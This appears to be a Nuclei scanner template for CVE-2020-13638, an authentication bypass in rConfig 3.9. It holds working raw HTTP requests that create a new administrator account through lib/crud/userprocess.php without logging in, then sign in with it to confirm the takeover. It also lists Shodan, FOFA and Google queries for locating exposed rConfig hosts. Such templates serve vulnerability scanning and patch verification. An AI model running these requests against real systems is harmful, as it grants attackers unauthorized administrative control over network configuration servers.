103 lines
3.0 KiB
YAML
103 lines
3.0 KiB
YAML
id: CVE-2020-13638
|
|
|
|
info:
|
|
name: rConfig 3.9 - Authentication Bypass(Admin Login)
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.
|
|
reference:
|
|
- https://www.rconfig.com/downloads/rconfig-3.9.4.zip
|
|
- https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13638
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-13638
|
|
cwe-id: CWE-269
|
|
epss-score: 0.3523
|
|
epss-percentile: 0.97125
|
|
cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: rconfig
|
|
product: rconfig
|
|
shodan-query:
|
|
- http.title:"rConfig"
|
|
- http.title:"rconfig"
|
|
fofa-query: title="rconfig"
|
|
google-query: intitle:"rconfig"
|
|
tags: cve,cve2020,rconfig,auth-bypass,intrusive
|
|
variables:
|
|
username: "{{to_lower(rand_text_alpha(5))}}"
|
|
password: "{{rand_text_alphanumeric(12)}}!"
|
|
email: "{{rand_base(8)}}@{{rand_base(5)}}.com"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /lib/crud/userprocess.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
|
|
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="username"
|
|
|
|
{{username}}
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="passconf"
|
|
|
|
{{password}}
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
{{password}}
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="email"
|
|
|
|
{{email}}
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="editid"
|
|
|
|
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="add"
|
|
|
|
add
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="ulevelid"
|
|
|
|
9
|
|
--01b28e152ee044338224bf647275f8eb--
|
|
- |
|
|
GET /login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /lib/crud/userprocess.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
user={{username}}&pass={{password}}&sublogin=1
|
|
|
|
host-redirects: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_3
|
|
words:
|
|
- "rConfig - Configuration Management"
|
|
- "Logged in as"
|
|
- "dashboadFieldSet"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header_3
|
|
words:
|
|
- 'text/html'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100c54eb2f26bb36649628bbe791fc1a04c4a279506c533a1fb0f84742bbe223f02022100bbcb6afa498c1af30f971db41169ac02dafd63707bac9966ce3e8fa755db076d:922c64590222798bb761d5b6d8e72950 |